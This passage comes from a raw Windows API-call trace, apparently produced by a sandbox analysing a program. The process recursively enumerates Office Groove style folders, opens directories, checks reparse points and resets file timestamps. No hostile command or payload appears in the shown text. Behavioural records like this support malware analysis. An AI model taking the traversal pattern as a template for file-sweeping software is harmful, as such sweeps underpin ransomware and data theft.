cAlternateFileName="")) returned 1 [0078.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d52e0 [0078.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8740 [0078.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d6ba0 [0078.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8760 [0078.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d6ca8 [0078.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.992] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8780 [0078.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d6db0 [0078.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.993] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.993] GetLastError () returned 0x12 [0078.993] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.993] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.993] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b22b3b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.993] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.993] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.993] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.993] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.993] GetLastError () returned 0x12 [0078.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d51d8) returned 1 [0078.993] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d52e0) returned 1 [0078.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.994] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0078.994] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OliveGreen.css", cAlternateFileName="")) returned 1 [0078.994] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x706, dwReserved0=0x0, dwReserved1=0x0, cFileName="Premium.css", cAlternateFileName="")) returned 1 [0078.994] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2e6230, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate", cAlternateFileName="")) returned 1 [0078.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.994] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2e6230, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0078.995] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.995] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.995] NtClose (Handle=0x180) returned 0x0 [0078.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d52e0 [0078.996] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.996] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2e6230, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.996] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0078.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c87a0 [0078.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d6eb8 [0078.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.997] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c87c0 [0078.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d6fc0 [0078.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.998] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.998] GetLastError () returned 0x12 [0078.998] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9080 [0078.998] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.999] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2e6230, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.999] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.999] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.999] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.999] GetLastError () returned 0x12 [0078.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d52e0) returned 1 [0078.999] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d51d8) returned 1 [0078.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.999] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0078.999] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlateBlue.css", cAlternateFileName="")) returned 1 [0078.999] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d37e7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue", cAlternateFileName="")) returned 1 [0078.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d37e7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0079.000] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0079.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.000] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0079.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.000] NtClose (Handle=0x164) returned 0x0 [0079.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0079.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0079.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0079.001] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9080 [0079.001] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d37e7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.001] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0079.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d52e0 [0079.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c87e0 [0079.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d70c8 [0079.002] RtlFreeHeap (HeapHandle=0x940000, 